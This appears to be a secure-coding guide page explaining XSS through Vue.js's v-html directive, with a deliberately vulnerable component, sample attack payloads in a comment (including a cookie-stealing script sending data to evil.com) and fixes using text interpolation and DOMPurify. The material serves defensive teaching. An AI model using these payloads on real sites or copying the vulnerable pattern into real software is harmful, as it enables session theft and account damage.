Vue.js v-html XSS Vulnerability

High Risk Cross-site Scripting
xssvuejavascriptv-htmltemplate

What it is

Cross-site scripting (XSS) vulnerability in Vue.js applications where the v-html directive is used with untrusted user input without proper sanitization.

<!-- UserProfile.vue - VULNERABLE -->
<template>
  <div class="user-profile">
    <h2>{{ user.name }}</h2>

    <!-- XSS vulnerability: v-html with user data -->
    <div class="bio" v-html="user.bio"></div>

    <!-- Another XSS risk -->
    <div class="signature" v-html="userSignature"></div>

    <!-- Dangerous: Dynamic HTML from URL params -->
    <div v-html="$route.query.message"></div>
  </div>
</template>

<script>
export default {
  name: 'UserProfile',
  data() {
    return {
      user: {
        name: 'John Doe',
        bio: '' // Populated from API/user input
      },
      userSignature: '' // From form input
    };
  },
  async mounted() {
    // Fetching user data that could contain malicious HTML
    const response = await fetch('/api/user/profile');
    this.user = await response.json();

    // Getting signature from URL parameter
    this.userSignature = this.$route.query.signature || '';
  }
}
</script>

<!-- Attack vectors:
?signature=<script>alert('XSS')</script>
?message=<img src=x onerror="fetch('/api/user/delete', {method:'POST'})">
Bio field: <script>document.location='//evil.com/steal?cookie='+document.cookie</script>
-->
<!-- UserProfile.vue - SECURE -->
<template>
  <div class="user-profile">
    <h2>{{ user.name }}</h2>

    <!-- SECURE: Text interpolation auto-escapes HTML -->
    <div class="bio">{{ user.bio }}</div>

    <!-- SECURE: No v-html directive -->
    <div class="signature">{{ userSignature }}</div>

    <!-- SECURE: URL params rendered as text -->
    <div>{{ $route.query.message }}</div>
  </div>
</template>

<script>
export default {
  name: 'UserProfile',
  data() {
    return {
      user: {
        name: 'John Doe',
        bio: ''
      },
      userSignature: ''
    };
  },
  async mounted() {
    const response = await fetch('/api/user/profile');
    this.user = await response.json();
    this.userSignature = this.$route.query.signature || '';
  }
}
</script>

💡 Why This Fix Works

The vulnerable code uses v-html with untrusted user data. The fixed version uses auto-escaped text bindings, input validation, and DOMPurify for controlled HTML rendering.

Why it happens

Using v-html directive with user-provided data directly without sanitization allows script injection.

Root causes

Direct v-html with User Input

Using v-html directive with user-provided data directly without sanitization allows script injection.

Preview example – VUE
<!-- Vulnerable -->
<div v-html="user.bio"></div>
<div v-html="$route.query.message"></div>

Dynamic HTML from API Responses

Rendering HTML content from API responses using v-html without validating or sanitizing the content.

Preview example – VUE
<!-- Vulnerable -->
<template>
  <div v-html="apiResponse.content"></div>
</template>

<script>
async mounted() {
  const data = await fetch('/api/content');
  this.apiResponse = await data.json();
}
</script>

Fixes

1

Use Text Interpolation Instead of v-html

Use Vue's default text interpolation {{}} which automatically escapes HTML, avoiding XSS vulnerabilities.

View implementation – VUE
<!-- Safe: Auto-escaped text -->
<div>{{ user.bio }}</div>
<div>{{ message }}</div>
2

Sanitize HTML with DOMPurify

When HTML rendering is necessary, sanitize content using DOMPurify before using v-html.

View implementation – VUE
<template>
  <div v-html="sanitizedContent"></div>
</template>

<script>
import DOMPurify from 'dompurify';

computed: {
  sanitizedContent() {
    return DOMPurify.sanitize(this.rawContent, {
      ALLOWED_TAGS: ['b', 'i', 'p', 'br'],
      ALLOWED_ATTR: []
    });
  }
}
</script>

Detect This Vulnerability in Your Code

Sourcery automatically identifies vue.js v-html xss vulnerability and many other security issues in your codebase.